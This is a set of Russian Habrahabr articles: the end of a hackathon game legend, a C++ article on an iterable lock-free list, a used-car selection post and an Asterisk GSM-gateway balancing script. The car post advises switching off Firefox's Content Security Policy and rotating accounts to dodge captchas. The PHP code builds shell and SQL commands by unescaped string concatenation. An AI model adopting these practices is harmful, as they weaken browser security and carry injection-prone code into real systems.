и то только спящих. Известно, что Шрекозавр абсолютно непобедим физическими средствами, ибо занимается он единоборством Байдой-Орейрой. Но у него абсолютно отсутствует чувство юмора, и ходят слухи, что если рассмешить его на 400 баллов (никто не знает, сколько это и как это измерить), то он лопнет от смеха, и принцесса будет спасена. technical note: Есть достоверные сведения, которые гласят, что сделать это нужно за два хода, идущие подряд. Иначе до Шрекозавра дойдет, что происходит, и он сожрет петросяна к чертям собачьим. И единственное спасение – это отбежать от него на расстояние одной клетки. Да и вообще он настолько свирепый, что жрёт всех подряд, кто стоит к нему вплотную дольше двух ходов (т.е. к концу второго хода). Баллы смеха накапливаются в течении двух ходов от всех игроков. Победителем является тот, вклад шутки которого первым привел к превышению 400 баллов. Все игроки от рождения имеют примерно одинаковые массу (~50) и чувство юмора (~100), которые можно прокачать, собирая разные ништяки с поля: Гриб – вызывает острые приступы олегофрендии, дает +20 к массе и -30 к чувству юмора. Кикер – дает +25 к массе и +25 к чувству юмора. Печенька – прибавляет +15 к массе. Беатический лифчик – принцесса помогает разыграть Шрекозавра, +50 к юмору, но только в шутках к Шрекозавру. Няшный котик – абсолютно бесполезное существо, но красивое и милое, так и тянет его взять с собой, но учти – он моментально аннигилирует всю твою массу и полностью обнулит чувство юмора. При перемещении на клетку, в которой сидит котик, он сам запрыгивает в руки. Если в руке есть предмет, то он выпадает. technical note: Ходят слухи, что котик предпочитает левую руку, а так же есть ненулевая вероятность, что котик не будет запрыгивать на руки. Трусы Шрекозавра – ничего не дают и ничего не забирают. Но однажды их увидев, это невозможно забыть :) Око Серверона – его нельзя взять и унести. Но находясь на одной с ним клетке, появляется способность видеть всё поле. Dark Lord – как и всякая Тёмная материя, он абсолютно непредсказуем. Взяв его с собой, можно как получить прибавку к массе и юмору, таки и потерять их. Но ты не узнаешь этого, пока не попробуешь. technical note: Опытным путем было установлено, что масса обратно пропорционально влияет на юмор – чем больше у существа масса, тем сложнее его рассмешить. Но это не точно. Так как злодей очень свиреп, то для увеличения вероятности освобождения принцессы, все iOблестные дроиды разбились на пары. technical note: Все iдроиды должны запускаться на разных девайсах — т.е. иметь разные IP-адреса, даже если они в одной команде. На каждой клетке есть забор, на котором можно написать (находясь в этой клетке), что угодно (единственное ограничение – слово должно состоять из трех букв не более 10 символов), и это сообщение смогут прочитать все, кто находится в радиусе трех (т.е. квадрат 5х5) клеток от него [ Немного занудства: надпись на заборе стирает предыдущее сообщение с этого забора ]. Еще немного занудства: размер поля заранее неизвестен; в самом начале игроки располагаются на поле случайным образом, но игроки одной команды – в пределах видимости друг друга; каждый ход игрок получает актуальное состояние игрового поля в радиусе трех клеток, т.е. квадрат 5х5; за один ход игрок может переместиться на одну свободную клетку в любом направлении, включая диагональные, написать на заборе и совершить одно из действий: взять/бросить предмет или рассказать шутку сопернику/Шрекозавру в соседней клетке; если шутка понравится сопернику, он так долго смеется, что следующий ход пропускает; на клетке может располагаться стена, другой игрок или часть замка Шрекозавра (в общем случае он занимает более одной клетки и имеет произвольную форму) – тогда на эту клетку переместиться нельзя; так как у каждого дроида только две руки и ни одного кармана, то взять за раз можно не более двух нишяков. technical note: В случае отправки команды, содержащей больше действий, чем положено за один ход, будут выполнены только первые, входящие в лимит. Остальные – будут проигнорированы. Всех, кто дочитал сей документ до конца, поздравляю с началом приключений! Вперед к свершениям!» На этой радостной ноте кончается легенда и начинается API. Он есть в свободном доступе. Кому интересно, можете посмотреть его здесь . Как всё проходило (небольшой фотоотчёт) Ключ к легенде. Ещё никогда наши разработчики не были так близки (в смысле, обычно они не сидят парами). Сражаются с Шрекозавром под надзором Его Темнейшества. Кажется, кто-то нашёл «Трусы Шрекозавра»... А вот и сам Шрекозавр :-) Шрекатон прошёл успешно, принцесса спасена. Ход игры Игра длилась около 5 часов. Для создания ботов команды использовали следующие языки: Java Objective-C Python JavaScript Победителем стал iOблестный дроид Ильич Филинович.
https://habrahabr.ru/company/mobileup/blog/317954/
habrahabr
Lock-free структуры данных. Iterable list
['lock-free', 'map', 'iterator', 'libcds']
Lock-free list является основой многих интересных структур данных, — простейшего hash map, где lock-free list используется как список коллизий, split-ordered list, построенный целиком на списке с...
Lock-free list является основой многих интересных структур данных, — простейшего hash map , где lock-free list используется как список коллизий, split-ordered list , построенный целиком на списке с оригинальным алгоритмом расщепления bucket'а, многоуровневого skip list , являющегося по сути иерархическим списком списков. В предыдущей статье мы убедились, что можно придать такую внутреннюю структуру конкурентному контейнеру, чтобы он поддерживал thread-safe итераторы в динамичном мире lock-free контейнеров. Как мы выяснили, основным условием для того, чтобы lock-free контейнер стал итерабельным, является стабильность внутренней структуры: ноды не должны физически удаляться (delete). В этом случае итератор суть просто (быть может, составной) указатель на ноду с возможностью перехода к следующей (оператор инкремента). Можно ли такой подход распространить на lock-free list?.. Посмотрим… Обычный lock-free список имеет такое строение узла: template <typename T> struct list_node { std::atomic<list_node*> next_; T data_; }; В нем данные инкорпорированы прямо в узел, поэтому удаление ключа (данных) приводит к удалению ноды целиком. Разделим узел и данные — пусть узел содержит указатель на данные, которые он несет: template <typename T> struct node { std::atomic<node*> next_; std::atomic<T*> data_; }; Тогда для удаления ключа достаточно обнулить поле data_ у ноды. В результате наш список приобретет такую внутреннюю структуру: Ноды никогда не удаляются, так что список итерабельный: итератор есть фактически указатель на ноду: template <typename T> struct iterator { guarded_ptr<T> gp_; node* node_; T* operator ->() { return gp_.ptr; } iterator& operator++() { // проходим далее по списку, начиная с node_, // пропуская узлы с пустыми данными } }; Наличие guarded_ptr (который содержит защищенный hazard pointer'ом указатель на данные) обязательно, так как мы не можем гарантировать, что другой поток не удалит данные, на которые позиционирован итератор. Можно гарантировать только то, что на момент перехода итератора на узел node_ он (узел) содержал данные. Защищенный указатель нам гарантирует, что пока итератор находится на узле node_ , его данные не будут физически удалены (delete). Посмотрим в картинках, как это работает. Мы начинаем обход списка — итератор позиционируется на первый узел с непустыми данными: Далее инкрементируем итератор — он пропускает узлы с пустыми данным: Даже если какой-то другой поток удалит данные узла, на котором позиционирован итератор, guarded_ptr итератора гарантирует нам, что данные не будут физически удалены, пока итератор стоит на узле: Возможна ситуация, когда данные будут удалены из списка, а затем к тому же самому узлу node_ будут приписаны другие данные. При этом итератор позиционирован на узел node_ . Было бы странно, если бы в этом случае operator ->() итератора возвращал указатель на разные данные. guarded_ptr гарантирует нам неизменность данных, возвращаемых итератором, но совершенно не препятствует их изменению другими потоками: Как видим, построенный iterable list поддерживает thread-safe итераторы и имеет очень простую операцию удаления ключа (данных), которая сводится просто к обнулению (с помощью примитива CAS) поля data_ узла. Операция insert() добавления новых данных несколько сложнее, так как возможны два случая: — вставка нового узла между существующими узлами списка с непустыми данными: Этот алгоритм вставки узла нам уже знаком по одной из предыдущих статей. — установка поля data_ у пустого узла prev : На этом можно было бы закончить статью, если бы второй случай — reusing empty data_ — не подкинул бы пару сюрпризов. Сюрприз первый Первая (наивная) версия вставки в iterable list выглядела так: Функция linear_search – это обычный линейный поиск в списке (ну, не совсем обычный, — все же список у нас конкурентный, так что приседания с атомарными операциями и hazard pointer'ами нам обеспечены), возвращает true , если ключ найден и false в противном случае. Out-параметр функции pos (типа insert_pos ) заполняется всегда. Поиск останавливается как только найден ключ не менее искомого data . Для вставки нас интересует неудача поиска — в этом случае pos будет содержать позицию вставки. Узел pos.cur всегда будет непустым (или же он будет указывать на конец списка — специально выделенный узел tail ), а вот pos.prev – предыдущий для pos.cur — может указывать на пустой узел, — именно этот случай нас особо интересует. Поля prevData и curData структуры insert_pos – это значения data_ для prev и cur соответственно. Заметим также, что нам нет необходимости защищать указатели на узлы prev и cur hazard pointer'ами, так как узлы из нашего списка никогда не удаляются. А вот данные могут удаляться, поэтому их мы защищаем. Итак, наивная реализация просто проверяет: если предыдущий узел пустой ( pos.prevData == nullptr ), то мы пытаемся записать в него ссылку на вставляемые данные. Так как список у нас конкурентный (более того, пока он даже lock-free, но мы это скоро исправим), изменение указателя prev.data_ делаем атомарным CAS'ом: если он успешен, значит, нам никакой другой поток не помешал и мы вставили новые данные в список. Здесь нас ожидает первый сюрприз. Предположим, поток A добавляет некий ключ в список: linear_search() выполнен, структура insert_pos проинициализирована позицией вставки, и поток готов вызвать link() , но тут его время прошло и он стал тыквой был вытеснен операционной системой. В это время со списком работает поток B: На момент возобновления потока A список неузнаваемо изменился, но с точки зрения найденной позиции pos потока A не изменилось ничего: prev как был пустым, так пустым и остался. Поэтому поток A запишет данные с ключом 30 в prev и успешно закончит вставку, тем самым сломав упорядоченность списка. Это разновидность ABA-проблемы, которая не решается применением hazard pointer'ов, так как указатель prev->data_ у нас NULL . Линковать новые данные в пустой узел мы имеем право только тогда, когда связка prev -> cur у нас не изменилась после поиска; более того, не изменились и данные этих узлов. Для решения этой проблемы применим технику marked pointer : младший бит указателя на данные узла будем использовать как признак «вставляется новый узел». Причем маркировать надо оба узла — prev и cur , — иначе другой поток может удалить данные у cur и упорядоченность списка вновь нарушится (не забудем, что узел cur всегда непустой). В результате изменится структура узла и функция link() добавления данных примет вид: template <typename T> struct node { std::atomic< node * > next_; std::atomic< marked_ptr< T, 1 >> data_; }; bool link( insert_pos& pos, T& data ) { // маркируем данные prev и cur if ( !pos.cur->data_.CAS( marked_ptr(pos.curData, 0), marked_ptr(pos.curData, 1))) { // не удалось — какой-то другой поток нам помешал return false; } if ( !pos.prev->data_.CAS( marked_ptr(pos.prevData, 0), marked_ptr(pos.prevData, 1))) { // не удалось — опять нам мешают // не забываем снять метку pos.cur->data_.store( marked_ptr(pos.curData, 0)); return false; } // проверяем, что связка prev -> cur осталась прежней if ( pos.prev->next_.load() != pos.cur ) { // кто-то уже успел что-то добавить между prev и cur pos.prev->data_.store( marked_ptr(pos.prevData, 0)); pos.cur->data_.store( marked_ptr( pos.curData, 0)); return false; } // все проверки удачны, можно добавлять if ( pos.prevData == nullptr ) { // устанавливаем новые данные у пустого узла // быть может, здесь достаточно атомарного store bool ok = pos.prev->data_.CAS( marked_ptr( nullptr, 1 ), marked_ptr( &data, 0 )); // снимаем метку у cur pos.cur->data_.store( marked_ptr( pos.curData, 0)); return ok; } else { // вставка новой ноды — алгоритм Harris/Michael // здесь не рассматриваем // но не забываем по окончании снять флаги } } Введение marked pointer также влияет на функцию удаления данных (которая, как мы помним, сводится к простому обнулению поля data_ ): теперь мы должны обнулять только непомеченные данные, но это не добавляет сложности процедуре удаления. Поиск по списку вовсе игнорирует наш маркер. В итоге iterable list перестал быть lock-free: если поток пометил хотя бы один из узлов, а затем был убит (исключению в функции link() возникнуть неоткуда), условие lock-free нарушается, так как узел останется помеченным навсегда и в конце концов когда-нибудь приведет к бесконечному активному ожиданию снятия метки. С другой стороны, убивать потоки во время работы грешно – плохая практика, так что я не вижу здесь особых рисков. Сюрприз второй К сожалению, тестирование показало, что это не полное решение. Если наивный iterable list часто показывал нарушение отсортированности данных и даже в дебажной сборке, то после введения marked pointers тесты стали показывать нарушение очень редко и только в релизной сборке. Это сигнал, что у нас очень неприятная проблема, практически не воспроизводимая за разумное время и решаемая только аналитически. Как показал анализ, проблема фактически ортогональна первой: Как и в первом случае, поток A вытесняется перед входом в link() . Пока A дожидается, когда его вновь запланируют, другие потоки успевают похулиганить выполнить над списком такую последовательность добавлений/удалений, которая не нарушает предусловий функции link() потока A, но приводят к нарушению отсортированности списка. Решение — добавить ещё одно условие в link() : после того, как мы пометили узлы prev и cur , между которыми должны вставить новый (или использовать пустой prev ), мы должны проверить, что позиция вставки не изменилась . Проверить это можно единственным способом — найти узел, следующий за новыми данными, и убедиться, что он равен cur : bool link( insert_pos& pos, T& data ) { // маркируем данные prev и cur // ... как и было // проверяем, что связка prev -> cur осталась прежней // ... как и было // проверяем, что позиция вставки не изменилась if ( find_next( data ) != pos.cur ) { // oops! Нам опять помешали… pos.prev->data_.store( marked_ptr(pos.prevData, 0)); pos.cur->data_.store( marked_ptr( pos.curData, 0)); return false; } // все проверки удачны, можно добавлять // ... как и было } Здесь вспомогательная функция find_next() ищет узел, ближайший сверху к data . Заключение Таким образом, итерабельный конкурентный список построить можно. Поиск в нем является lock-free, но вставка и, как следствие, удаление у него все же не lock-free. Зачем он такой нужен?.. Во-первых, наличие thread-safe итераторов в некоторых задачах важно. Во-вторых, этот список интересен тем, что операция удаления ключа в нем намного легче, чем вставка, — достаточно обнулить указатель на данные у узла; обычно удаление намного тяжелее, см. двухфазное удаление из классического lock-free списка. Наконец, эта задача была лично для меня неким вызовом, так как до этого я считал концепцию итераторов в принципе нереализуемой для конкурентных контейнеров. Надеюсь, что данный алгоритм будет полезен, реализацию см. libcds : MichaelSet/Map и SplitListSet/Map на основе IterableList с поддержкой потокобезопасных итераторов. Lock-free структуры данных Начало Основы: Атомарность и атомарные примитивы Откуда пошли быть барьеры памяти Модель памяти Внутри: Схемы управления памятью RCU Эволюция стека Очередной трактат Диссекция очереди Concurrent maps: разминка Concurrent maps: rehash, no rebuild Concurrent maps: skip list Concurent maps: деревья Итераторы: multi-level array Iterable list Извне: Введение в libcds
https://habrahabr.ru/post/317882/
habrahabr
Что случается, когда программист занимается подбором автомобилей
['web-интерфейсы', 'букмарклеты', 'скрипты', 'оптимизация', 'автомобили', 'подбор автомобилей', 'автомобиль мечты']
Открыли мы с другом компанию по подбору автомобилей с пробегом. Если никогда не слышали о таком — мы помогаем людям не купить «ведро». Увы, в Москве большинство машин, предлагаемых на вторичном...
Открыли мы с другом компанию по подбору автомобилей с пробегом. Если никогда не слышали о таком — мы помогаем людям не купить «ведро» . Увы, в Москве большинство машин, предлагаемых на вторичном рынке, заслуживают именно такой оценки. Чтобы найти достойный экземпляр приходится обработать иногда за сотню объявлений . Происходит это примерно так: смотрим фотографии, описание, отмечаем какие-то нюансы, после чего звоним продавцу и задаём более двадцати вопросов. Далее уже решаем, стоит ли смотреть машину вживую. А теперь ближе к скриптам Сначала мы записывали результаты разговора с продавцами на бумагу . Минусы очевидны: ворох разрозненных записей на разных листах, а если кто-то из продавцов сам перезвонит, то нет никаких шансов найти его объявление и наши записи о нём. Логичным был переход на Google-таблицы . Чтобы не копипастить вручную пробег, цену и другую информацию из объявления я написал парсер для auto.ru и Авито. Работал он так: заходишь на страницу с объявлением, щёлкаешь букмарклет, автоматически открывается номер телефона продавца, вся информация через табуляцию собирается в текстовое поле, откуда легко копируется и вставляется уже по колонкам в Google-таблицу. Технические трудности На auto.ru стоит Content Security Policy, запрещающая загрузку скриптов через незащищённое соединение. Решение: получил SSL-сертификат на своём хостинге. Позже на auto.ru вообще запретили загрузку скриптов с чужих доменов. Решение: зайти в браузер Firefox, набрать about:config , найти пункт security.csp.enable, установить false. В других браузерах такой возможности я не нашёл, поэтому Огненный лис стал основным браузером. В принципе, можно вообще не заходить самому на страницу объявления, а поручить это виртуальному браузеру на сервере. Но тут рано или поздно вылезала капча, и борьбу с ней мы уже посчитали нецелесообразной. Тем более, надо же оценить объявление, добавить свой комментарий. В итоге, у нас по каждому заказу была внушительных размеров таблица: в ней было множество колонок (для каждой характеристики автомобиля, для каждого задаваемого продавцу вопроса) и десятки строк (по числу объявлений). К этой таблице мы стали давать доступ нашим клиентам , чтобы было проще общаться и чтобы было сразу видно, почему не едем смотреть тот или иной «не битый не крашеный» автомобиль. Можно было бы использовать API Google-таблиц, чтобы сразу парсить объявления в них. Я уже почти начал изучать API, но понял, путь тупиковый: когда объявлений в таблице под сотню, работать с ней почти нереально. К тому же, в Google-таблицах много избыточного функционала, но нет того, что нужно нам. Один сотрудник даже купил себе новый ноут, но не помогло — таблицы всё равно страшно тормозили . Кстати, несколько слов об организации нашей работы. В какой-то момент меня очень утомило звонить по объявлениям, натыкаться на эти бесконечные комиссионки, задавать одни и те же вопросы. Мы решили нанять на эту работу удалённых сотрудников-обзвонщиков . Ребята нашлись, каждого я научил, как выявлять обман, как правильно спрашивать про подвеску, про число собственников и т.д. Ответы продавцов они сохраняли через Google-форму, далее я ответы проверял и вставлял в основную таблицу, которую уже видел клиент. Слишком много действий. Руки мои чесались давно, я до последнего надеялся обойтись без создания своего интерфейса, на который уйдут дни и ночи… Так появился интерфейс Он состоит из двух основных страниц: Главная страница. Здесь мы ведём учёт текущих заказов, записываем критерии, вставляем ссылки на выдачу объявлений по этим критериям и т.п. Страница заказа. Здесь отображаются все объявления, добавленные в базу данных и закреплённые за этим заказом. Прикрепление к заказу происходит в момент парсинга автоматически, по модели автомобиля. Тут же отображаются фотографии из объявления, теперь всё доступно из одного места. А соль вся в анкете. Она есть под каждым объявлением, там множество вопросов и, соответственно, полей. С мгновенным сохранением и указанием авторства. Провёл мышкой по чужому сообщению — оно посветлело. Прочёл, значит. Анкета также служит чеклистом проверки автомобиля, чтобы ненароком не забыть проверить нахождение в одной из залоговых баз и т.п. Клиент следит за нашей работой через персональный доступ, по каждому объявлению видит наше резюме. Назначение статусов в интерфейсе происходит одной кнопкой, с возможностью потом объявления по статусу фильтровать. Здесь же диагносты пишут свои отчёты после осмотра. Но если машина попадает в категорию «надо брать», то сразу звонят клиенту — хорошие машины уходят за считанные часы, решение о покупке и оставлении предоплаты нужно принимать быстро. Автокод В Москве и области действует официальный портал Автокод, на котором можно посмотреть историю автомобиля, как то: число владельцев и даты владения, зафиксированные ДТП и страховые случаи, год выпуска и наличие ограничений. Эта информация избавляет нас от напрасного катания по городу. Естественно, как настоящий лентяй, я встроил проверку по Автокоду в свой интерфейс. Работает это так: в соответствующие поля вбивается госномер/VIN и номер СТС, далее отправляется запрос к серверу, где виртуальный браузер PhantomJS проходит авторизацию на портале от одного из пяти аккаунтов (чтобы капча пореже выскакивала), вбивает реквизиты автомобиля, парсит ответ и заодно делает скриншот. Скажете, что за ерунда? Можно ведь и так зайти да проверить! Да, но когда «пробиваешь» десятки машин в день, однажды написанный скрипт очень экономит время . Главная цель интерфейса и работы обзвонщиков: наш диагност должен быть первым на осмотре лучшего автомобиля . То есть, пока диагност проверяет машину, обзвонщик из дома прозванивает свежие объявления и выбирает следующий вариант для осмотра, пускай даже из другого заказа. У конкурентов, например, не так: диагносту даётся заказ и вперёд. Что-то нашёл — молодец. Были варианты лучше? А кто его знает… Однажды к нам хотел устроиться диагност, работавший у конкурентов. Говорил, если машина подходящая, но продавец не торговался по телефону, то он к нему вообще не ехал, потому что компания ему платила процент с торга. Впрочем, это уже другая тема. Предварительный анализ С чего вообще начинается подбор автомобиля мечты? В большинстве случаев, вы уж не обижайтесь, с процедуры «осаживания». То есть, если клиент хочет Camry XV50 за 900 тысяч рублей, то мы терпеливо объясняем, что это машины нижней ценовой категории в соответствующем состоянии. Чтобы определить, какой бюджет достаточен для покупки того или иного автомобиля, мы прибегаем опять-таки к нашему парсеру. Он берёт цены всех автомобилей в выдаче auto.ru и считает по каждому году выпуска среднее и медианное значения . Отталкиваясь от этих цифр нам намного проще определить, стоит ли браться за подбор в том или ином бюджете. Да, бывают исключения и аномалии, но лучше с цифрами, чем без.
https://geektimes.ru/post/283852/
habrahabr
Балансировка исходящих вызовов через GSM-шлюз
['asterisk', 'yeastar', 'балансировка']
В нашей организации используется Астериск, а для исходящих вызовов к нему подключен GSM-шлюз Yeastar TG800 на 8 симок. Каждый месяц мы покупаем пакет минут на каждую симку. Для совершения...
В нашей организации используется Астериск, а для исходящих вызовов к нему подключен GSM-шлюз Yeastar TG800 на 8 симок. Каждый месяц мы покупаем пакет минут на каждую симку. Для совершения исходящего вызова обычно используется перебор симок по порядку, пока не найдется свободная: exten => _X.,n,Dial(SIP/gsm1/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm2/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm3/${EXTEN},,tT) и т. д. В этом случае больше всего вызовов проходит через первую симку, а меньше всего через последнюю. Поэтому к середине месяца минуты на первых симках заканчиваются раньше, чем на последних, и возникает ситуация, когда позвонить можно допустим через 4 симки из 8, так как на первых четырех минуты закончились. Это плохо, так как остаются 4 исходящие линии вместо 8. Чтобы этого избежать, нужно делать вызовы не в одном и том же порядке, а в соответствии с остатком минут на симках. Попутно я записываю остатки минут, актуальность (во сколько были проверены остатки) и когда пакет был активирован в БД MySQL. Можно зайти на страничку и быстро узнать остатки: Чтобы проверять остатки, нужно на шлюзе включить API, для этого заходим в раздел SMS, далее в API-настройки. Там все понятно, нужно задать логин с паролем и разрешенную подсеть для подключения. Будем проверять остатки каждый час, для этого в крон добавим вызов скрипта (у меня каждую 53-ю минуту часа): 53 */1 * * * root php %path-to-script%/getbalance.php Далее нам нужно создать 8 текстовых файлов (или сколько у вас используется симок) с именами от nc2.txt до nc9.txt. Номера такие, потому что шлюз нумерует свои порты именно так, от 2 до 9. В каждом файле команды шлюзу. Пример для nc2.txt: action: login username: ****** secret: ******* action: smscommand command: gsm send ussd 2 *255*0# action: logoff Пример приведен для Теле2. Соответственно в файле nc3.txt вместо «ussd 2» пишем «ussd 3». Скрипт передает эти команды шлюзу, в ответ мы получаем файлы с именами от nc2out.txt до nc9out.txt. Ответ будет такой (для Теле2): Asterisk Call Manager/1.1 Response: Success Message: Authentication accepted Response: Follows Privilege: SMSCommand 1:Received USSD success on span: 2 USSD Responses: 2 USSD Code: 64 USSD Len: 85 USSD Message: Ostatok v pakete: 968 min./mes., 5000 SMS/mes., 20480 MB/mes. Parametry' tarifa *107# --END COMMAND-- Response: Goodbye Message: Thanks for all the fish. Уточнение: нужно переключить ответы оператора на транслит, иначе получаем текст в неудобной кодировке. Дальше мы выдергиваем количество оставшихся минут, сортируем и записываем порядок вызова в файлы от out1.txt до out8.txt (это уже для астериска, поэтому нумерация нормальная). То есть если порядок вызова оказался 5, 4, 3, 2, 1, 7, 8, 6, то в файл out1.txt мы пишем цифру 5, в файл out2.txt пишем 4 и т. д. Осталось в диалплане прочитать эти файлы и делать вызовы в правильном порядке: exten => _X.,n,set(SIMNUM1=${SHELL(/usr/bin/php -f %pathtoscript%/getsim1.php)}) exten => _X.,n,set(SIMNUM2=${SHELL(/usr/bin/php -f %pathtoscript%/getsim2.php)}) exten => _X.,n,set(SIMNUM3=${SHELL(/usr/bin/php -f %pathtoscript%/getsim3.php)}) exten => _X.,n,set(SIMNUM4=${SHELL(/usr/bin/php -f %pathtoscript%/getsim4.php)}) exten => _X.,n,set(SIMNUM5=${SHELL(/usr/bin/php -f %pathtoscript%/getsim5.php)}) exten => _X.,n,set(SIMNUM6=${SHELL(/usr/bin/php -f %pathtoscript%/getsim6.php)}) exten => _X.,n,set(SIMNUM7=${SHELL(/usr/bin/php -f %pathtoscript%/getsim7.php)}) exten => _X.,n,set(SIMNUM8=${SHELL(/usr/bin/php -f %pathtoscript%/getsim8.php)}) exten => _X.,n,Dial(SIP/gsm${SIMNUM1}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM2}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM3}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM4}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM5}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM6}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM7}/${EXTEN},,tT) exten => _X.,n,Dial(SIP/gsm${SIMNUM8}/${EXTEN},,tT) Да, чуть не забыл, файл getsim1.php: <?php $t = file_get_contents('%pathtoscript%/out1.txt'); echo $t[0]; return $t[0]; ?> Теперь собственно сам главный скрипт getbalance.php. IP шлюза возьмем 10.10.1.1. Знаю, что нужно сделать цикл вместо копипасты, но руководствуюсь золотым правилом админа: работает — не трогай :-) <?php include '/var/lib/asterisk/agi-bin/lib.php'; $s=0; a2: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc2.txt > %pathtoscript%/nc2out.txt'); $text = file_get_contents('%pathtoscript%/nc2out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text2 = $matches[1]; else goto a2; $s=0; a3: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc3.txt > %pathtoscript%/nc3out.txt'); $text = file_get_contents('%pathtoscript%/nc3out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text3 = $matches[1]; else goto a3; $s=0; a4: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc4.txt > %pathtoscript%/nc4out.txt'); $text = file_get_contents('%pathtoscript%/nc4out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text4 = $matches[1]; else goto a4; $s=0; a5: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc5.txt > %pathtoscript%/nc5out.txt'); $text = file_get_contents('%pathtoscript%/nc5out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text5 = $matches[1]; else goto a5; $s=0; a6: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc6.txt > %pathtoscript%/nc6out.txt'); $text = file_get_contents('%pathtoscript%/nc6out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text6 = $matches[1]; else goto a6; $s=0; a7: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc7.txt > %pathtoscript%/nc7out.txt'); $text = file_get_contents('%pathtoscript%/nc7out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text7 = $matches[1]; else goto a7; $s=0; a8: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc8.txt > %pathtoscript%/nc8out.txt'); $text = file_get_contents('%pathtoscript%/nc8out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text8 = $matches[1]; else goto a8; $s=0; a9: $s++; if ($s>10) exit; system('nc 10.10.1.1 5038 < %pathtoscript%/nc9.txt > %pathtoscript%/nc9out.txt'); $text = file_get_contents('%pathtoscript%/nc9out.txt'); if(preg_match('/te:\ (.*)\ min/',$text,$matches)) $text9 = $matches[1]; else goto a9; $text10 = "0"; system('echo "'.date('l dS F Y h:i:s A').' '.$text2.' '.$text3.' '.$text4.' '.$text5.' '.$text6.' '.$text7.' '.$text8.' '.$text9.'" >>%pathtoscript%/balance.txt'); $row = mysql_query("select minutes from `lines` where clid like '%2636'",$link); $row1 = mysql_fetch_assoc($row); $old1 = $row1['minutes']+0; $new1 = $text2+0; if ($old1 < $new1) $row = mysql_query("update `lines` set balancedate=NOW()",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text2." where clid like '%2636'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text3." where clid like '%4036'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text4." where clid like '%4977'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text5." where clid like '%2414'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text6." where clid like '%2451'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text7." where clid like '%2536'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text8." where clid like '%2581'",$link); $row = mysql_query("update `lines` set balance=".$text10.", minutesdate=NOW(), minutes=".$text9." where clid like '%4056'",$link); $n[1] = $text2+0; $n[2] = $text3+0; $n[3] = $text4+0; $n[4] = $text5+0; $n[5] = $text6+0; $n[6] = $text7+0; $n[7] = $text8+0; $n[8] = $text9+0; $p[1] = 1; $p[2] = 2; $p[3] = 3; $p[4] = 4; $p[5] = 5; $p[6] = 6; $p[7] = 7; $p[8] = 8; for($i=1;$i<=7;$i++) for($j=$i+1;$j<=8;$j++) if ($n[$i]<$n[$j]) { $t = $n[$i]; $n[$i] = $n[$j]; $n[$j] = $t; $t = $p[$i]; $p[$i] = $p[$j]; $p[$j] = $t; } system('echo "'.$p[1].'" >%pathtoscript%/out1.txt'); system('echo "'.$p[2].'" >%pathtoscript%/out2.txt'); system('echo "'.$p[3].'" >%pathtoscript%/out3.txt'); system('echo "'.$p[4].'" >%pathtoscript%/out4.txt'); system('echo "'.$p[5].'" >%pathtoscript%/out5.txt'); system('echo "'.$p[6].'" >%pathtoscript%/out6.txt'); system('echo "'.$p[7].'" >%pathtoscript%/out7.txt'); system('echo "'.$p[8].'" >%pathtoscript%/out8.txt'); system('asterisk -rx "dialplan reload"'); ?> Содержимое lib.php (там подключение к MySQL): <?php $dbuser = "*******"; $dbpass = "*******"; $dbserv = "localhost"; $dbname = "*******"; $dbengn = "mysql"; function sql_connect($host, $login, $password, $dbname) { $link = mysql_connect($host, $login, $password, true); mysql_select_db($dbname, $link); mysql_query("SET NAMES cp1251"); return $link; } function sql_query($query, $link) { $res = mysql_query($query, $link); return $res; } function sql_fetch_assoc($result) { return mysql_fetch_assoc($result); } $link = sql_connect($dbserv, $dbuser, $dbpass, $dbname); ?> Еще небольшие пояснения. На каждой симке делается 10 попыток проверить баланс (это не всегда удается), если хотя бы на одной не получилось, выходим и пробуем через час. Почему text10=«0»? Раньше использовались симки МТС, которые возвращали баланс (в рублях). В Теле2 используется общий счет, на конкретные симки мы денег не кладем, поэтому там всегда 0. Балансы также дописываются в файл balance.txt, чтобы можно было посмотреть историю и посчитать статистику трат. Кому интересно, как не потерять входящий звонок на симку, если по ней уже разговаривают, спросите в комментариях (на статью не тянет). Спасибо за внимание!
https://habrahabr.ru/post/318004/
habrahabr
Разработка и публикация первой игры под Android на Unity3D
['android', 'игра', 'unity', 'unity ads']
Доброго времени суток! Вот и закончил я разработку своей первой игры на Unity для Android. Причиной разработки игры послужил анализ вакансий на hh. Стало интересно, отчего же разработчикам игр...
